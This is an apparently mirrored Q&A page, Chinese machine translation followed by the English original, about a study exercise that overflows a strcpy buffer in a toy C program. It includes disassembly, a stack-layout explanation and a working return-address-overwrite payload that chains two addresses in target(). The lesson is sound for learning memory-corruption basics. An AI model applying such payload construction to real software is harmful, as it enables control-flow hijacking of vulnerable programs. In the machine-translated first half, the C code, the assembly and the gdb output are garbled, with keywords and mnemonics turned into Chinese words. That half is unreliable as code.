利用缓冲区溢出 [英] Exploit a buffer overflow

查看:100
本文介绍了利用缓冲区溢出的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

对于我的学习,我尝试创建一个有效负载,以使其溢出缓冲区并调用一个名为目标的秘密函数



这是我使用的代码用于在i686上进行测试

  #include stdio.h 
#include string.h
void target(){
printf( target\n);
}
无效漏洞(字符*输入){
字符缓冲区[16];
strcpy(缓冲区,输入);
}
int main(int argc,char ** argv){
if(argc == 2)
脆弱(argv [1]);
else
printf(需要争论!);

返回0;
}

任务1 :创建有效负载,以便目标()正在被调用。
这很容易,只需用目标函数的地址替换EIP。



这就是缓冲区的外观

 缓冲区
(gdb)x / 8x缓冲区
0xbfffef50:0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60:0x00000002 0xbffff024 0xbfffef88 0x080484ca b $ b

我使用的有效载荷是:

 运行AAAAAAAAAAAAAAAAAAAAAAAAAAAA $'\x7d\x84\x04\x08'

这很好,但是由于出现分段错误而停止。



任务2:修改有效负载的方式不会给分段错误



这就是我遇到的问题。显然,这会导致分段错误,因为我们没有使用调用指令来调用目标,因此没有有效的返回地址。



我试图在堆栈上添加返回地址,但这没有帮助

  run AAAAAAAAAAAAAAAAAAAAAAAA $'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'

也许有人可以帮我解决这个问题。也许我还必须添加保存的main的EBP?



我附加了程序的objdump

  0804847d< target> ;: 
804847d:55 push%ebp
804847e:89 e5 mov%esp,%ebp
8048480:83 ec 18 sub $ 0x18 ,%esp
8048483:c7 04 24 70 85 04 08 movl $ 0x8048570,(%esp)
804848a:e8 c1 fe ff ff致电8048350< puts @ plt>
804848f:c9离开
8048490:c3 ret

08048491< vulnerable> ;:
8048491:55 push%ebp
8048492:89 e5 mov% esp,%ebp
8048494:83 ec 28 sub $ 0x28,%esp
8048497:8b 45 08 mov 0x8(%ebp),%eax
804849a:89 44 24 04 mov%eax ,0x4(%esp)
804849e:8d 45 e8 lea -0x18(%ebp),%eax
80484a1:89 04 24 mov%eax,(%esp)
80484a4:e8 97 fe ff ff致电8048340< strcpy @ plt>
80484a9:c9离开
80484aa:c3 ret

080484ab< main> ;:
80484ab:55 push%ebp
80484ac:89 e5 mov% esp,%ebp
80484ae:83 e4 f0和$ 0xfffffff0,%esp
80484b1:83 ec 10 sub $ 0x10,%esp
80484b4:83 7d 08 02 cmpl $ 0x2,0x8( %ebp)
80484b8:75 12月80484cc< main + 0x21>
80484ba:8b 45 0c mov 0xc(%ebp),%eax
80484bd:83 c0 04加$ 0x4,%eax
80484c0:8b 00 mov(%eax),%eax
80484c2:89 04 24 mov%eax,(%esp)
80484c5:e8 c7 ff ff ff致电8048491< vulnerable>
80484ca:eb 0c jmp 80484d8< main + 0x2d>
80484cc:c7 04 24 77 85 04 08 movl $ 0x8048577,(%esp)
80484d3:e8 58 ff ff ff致电8048330< printf @ plt>
80484d8:b8 00 00 00 00 mov $ 0x0,%eax
80484dd:c9离开
80484de:c3 ret
80484df:90 nop


解决方案

您需要足够的数据来填充'buffer'所在堆栈的保留内存,然后还可以覆盖堆栈框架指针,然后用 target()的地址覆盖返回地址,然后再用 target()的地址覆盖一个。 code>,但不要在函数的开始处输入它,这样就不会将旧的堆栈框架指针压入堆栈。这将导致您运行目标,而不是从 vulnerable()中正确返回,然后再次运行 target(),因此您从 target()返回到 main(),因此退出时没有分段错误。



当我们第一次输入弱势()并打算将数据
放入'buffer'变量时,堆栈如下所示:

  ----------- 
| 24字节本地存储-缓冲位于此处
-----------
|旧堆栈帧指针(从主指针开始)<-EBP在这里指向
-----------
|旧的EIP(主地址)
-----------
| 易受攻击的
的输入参数-----------
|主
的堆栈顶部-----------
| ...更多堆栈...

因此,我们需要从缓冲区的地址开始放入24字节的垃圾到
越过堆栈上保留的本地存储,然后再经过4个字节使
越过存储在堆栈上的旧堆栈帧指针,那么我们位于
旧EIP的存储位置。这是CPU盲目遵循的指令指针。我们喜欢他。他将帮助我们粉碎这个程序。我们覆盖堆栈中旧EIP的值,该值当前指向main()中的一个地址,该地址的起始地址为target(),可通过gdb
disassemble命令找到该地址:

 (gdb)失去目标
函数目标的汇编代码转储:
0x08048424< + 0> ;:推送%ebp
0x08048425< + 1> ;: mov%esp,%ebp
0x08048427< + 3> ;: sub $ 0x18,%esp
0x0804842a< + 6> ;: movl $ 0x8048554,(%esp)
0x08048431< + 13> ;:呼叫0x8048354< puts @ plt>
0x08048436< + 18> ;:离开
0x08048437< + 19> ;: ret
汇编器转储结束。

target()函数的地址为0x08048424。由于(至少是我的系统)系统是Little Endian,因此我们首先使用LSB输入这些值,所以x24,x84,x04和x08。



但是这是一个问题,因为当弱势()返回时,它会将我们放入堆栈中的所有杂物弹出
,然后剩下的是
,当我们即将在目标中处理时()首次为

  ----------- 
| 易受攻击的
的输入参数-----------
|主
的堆栈顶部-----------
| ...更多堆栈在这里...

因此,当target()要返回时将找不到



所以我们要强制将新的返回值放到顶部,否则将出现分段错误。




开始在target()中处理之前的堆栈数。但是选择什么价值呢?我们不希望将
的EBP推送到其中,因为它包含垃圾。记得?我们在重写缓冲区时将垃圾塞进了垃圾桶。因此,在



push%ebp


之后紧跟着推target()指令

(在本例中为地址0x08048425)。



这意味着当target()准备返回$ b $时,堆栈看起来像这样b首次:

  ----------- 
| mov%esp,%ebp指令在target()
中的地址-----------
|主
的堆栈顶部-----------
| ...更多堆栈...

因此,第一次从target()返回时, EIP现在将指向target()中的第二条指令,这意味着我们第二次通过target()处理时,它具有与main()处理时相同的堆栈。堆栈的顶部与main()的堆栈顶部相同。现在堆栈看起来像这样:

  ----------- 
|主
的堆栈顶部-----------
| ...更多堆栈...

因此,当target()第二次返回时,
可以返回好的堆栈,因为它使用的是与main()相同的堆栈,因此程序可以正常退出。



总而言之,它是28个字节,后跟target()中第一条指令的地址,然后是target()中第二条指令的地址。

  sys1:/ usr2 / home> ./buggy AAAAAAAAAABBBBBBBBBBBBCCCCCCCC $'\x24\x84\x04\x08'$'\x25\x84\x04\x08'
目标
目标
sys1: / usr2 / home>


For my studies I try to create a payload so that it overflows the buffer and calls a "secret" function called "target"

This is the code I use for testing on an i686

#include "stdio.h"
#include "string.h"
void target() {
  printf("target\n");
}
void vulnerable(char* input) {
  char buffer[16];
  strcpy(buffer, input);
}
int main(int argc, char** argv) {
  if(argc == 2)
    vulnerable(argv[1]);
  else
    printf("Need an argument!");

  return 0;
}

Task 1: Create a payload so that target() is being called. This was rather easy to do by replacing the EIP with the address of the target function.

This is how the buffer looks

Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca

Payload I used was:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'

This works fine but stops with a segmentation fault.

Task 2: Modify the payload in a way that it does not give a segmentation fault

This is where I am stuck. Obviously it causes a segmentation fault because we do not call target with the call instruction and therefore there is no valid return address.

I tried to add the return address on the stack but that did not help

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'

Maybe someone can help me out with this. Probably I also have to add the saved EBP of main?

I attach the objdump of the programm

0804847d <target>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec 18                sub    $0x18,%esp
 8048483:   c7 04 24 70 85 04 08    movl   $0x8048570,(%esp)
 804848a:   e8 c1 fe ff ff          call   8048350 <puts@plt>
 804848f:   c9                      leave  
 8048490:   c3                      ret    

08048491 <vulnerable>:
 8048491:   55                      push   %ebp
 8048492:   89 e5                   mov    %esp,%ebp
 8048494:   83 ec 28                sub    $0x28,%esp
 8048497:   8b 45 08                mov    0x8(%ebp),%eax
 804849a:   89 44 24 04             mov    %eax,0x4(%esp)
 804849e:   8d 45 e8                lea    -0x18(%ebp),%eax
 80484a1:   89 04 24                mov    %eax,(%esp)
 80484a4:   e8 97 fe ff ff          call   8048340 <strcpy@plt>
 80484a9:   c9                      leave  
 80484aa:   c3                      ret    

080484ab <main>:
 80484ab:   55                      push   %ebp
 80484ac:   89 e5                   mov    %esp,%ebp
 80484ae:   83 e4 f0                and    $0xfffffff0,%esp
 80484b1:   83 ec 10                sub    $0x10,%esp
 80484b4:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)
 80484b8:   75 12                   jne    80484cc <main+0x21>
 80484ba:   8b 45 0c                mov    0xc(%ebp),%eax
 80484bd:   83 c0 04                add    $0x4,%eax
 80484c0:   8b 00                   mov    (%eax),%eax
 80484c2:   89 04 24                mov    %eax,(%esp)
 80484c5:   e8 c7 ff ff ff          call   8048491 <vulnerable>
 80484ca:   eb 0c                   jmp    80484d8 <main+0x2d>
 80484cc:   c7 04 24 77 85 04 08    movl   $0x8048577,(%esp)
 80484d3:   e8 58 fe ff ff          call   8048330 <printf@plt>
 80484d8:   b8 00 00 00 00          mov    $0x0,%eax
 80484dd:   c9                      leave  
 80484de:   c3                      ret    
 80484df:   90                      nop

解决方案

You need enough data to fill the reserved memory for the stack where 'buffer' is located, then more to overwrite the stack frame pointer, then overwrite the return address with the address of target() and then one more address within target() but not at the very beginning of the function - enter it so the old stack frame pointer is not pushed on the stack. That will cause you to run target instead of returning properly from vulnerable() and then run target() again so you return from target() to main() and so exit without a segmentation fault.

When we enter vulnerable() for the first time and are about to put data into the 'buffer' variable the stack looks like this:

-----------
|  24-bytes of local storage - 'buffer' lives here 
-----------
|  old stack frame pointer (from main) <-- EBP points here
-----------
|  old EIP (address in main)
-----------
|  'input' argument for 'vulnerable'
-----------
|  top of stack for main
-----------
|  ... more stack here ...

So starting at the address of 'buffer' we need to put in 24-bytes of junk to get past the local storage reserved on the stack, then 4-more bytes to get past the old stack frame pointer stored on the stack, then we are at the location where the old EIP is stored. That's the instruction pointer that the CPU follows blindly. We like him. He's going to help us crush this program. We overwrite the value of the old EIP in the stack which currently points to an address in main() with the start address of target() which is found via the gdb disassemble command:

(gdb) disas target
Dump of assembler code for function target:
   0x08048424 <+0>:     push   %ebp
   0x08048425 <+1>:     mov    %esp,%ebp
   0x08048427 <+3>:     sub    $0x18,%esp
   0x0804842a <+6>:     movl   $0x8048554,(%esp)
   0x08048431 <+13>:    call   0x8048354 <puts@plt>
   0x08048436 <+18>:    leave
   0x08048437 <+19>:    ret
End of assembler dump.

The address of the target() function is 0x08048424. Since the (my system at least) system is little endian we enter those values with the LSB first so x24, x84, x04, and x08.

But that leaves us with a problem because as vulnerable() returns it pops all the junk that we put in the stack off the stack and we are left with a stack that looks like this when we are just about to process in target() for the first time:

-----------
|  'input' argument for 'vulnerable'
-----------
|  top of stack for main
-----------
| ... more stack here ...

So when target() wants to return it will not find the return address on the top of its stack as expected and so will have a segmentation fault.

So we want to force a new return value onto the top of the stack before we start processing in target(). But what value to choose? We don't want to push the EBP because it contains garbage. Remember? We shoved garbage into it when we overwrote 'buffer'. So instead push the target() instruction just after the

push %ebp

( in this case address 0x08048425 ).

This means that the stack will look like this when target() is ready to return for the first time:

-----------
|  address of mov %esp, %ebp instruction in target()
-----------
|  top of stack for main
-----------
|  ... more stack here ...

So upon return from target() the first time , the EIP will now point at the second instruction in target(), which means that the second time we process through target() it has the same stack that main() had when it processed. The top of the stack is the same top of the stack for main(). Now the stack looks like:

-----------
|  top of stack for main
-----------
|  ... more stack here ...

So when target() returns the second time it has a good stack to return with since it is using the same stack that main() used and so the program exits normally.

So to sum it up that is 28-bytes followed by the address of the first instruction in target() followed by the address of the second instruction in target().

sys1:/usr2/home> ./buggy AAAAAAAAAABBBBBBBBBBCCCCCCCC$'\x24\x84\x04\x08'$'\x25\x84\x04\x08'
target
target
sys1:/usr2/home>

这篇关于利用缓冲区溢出的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆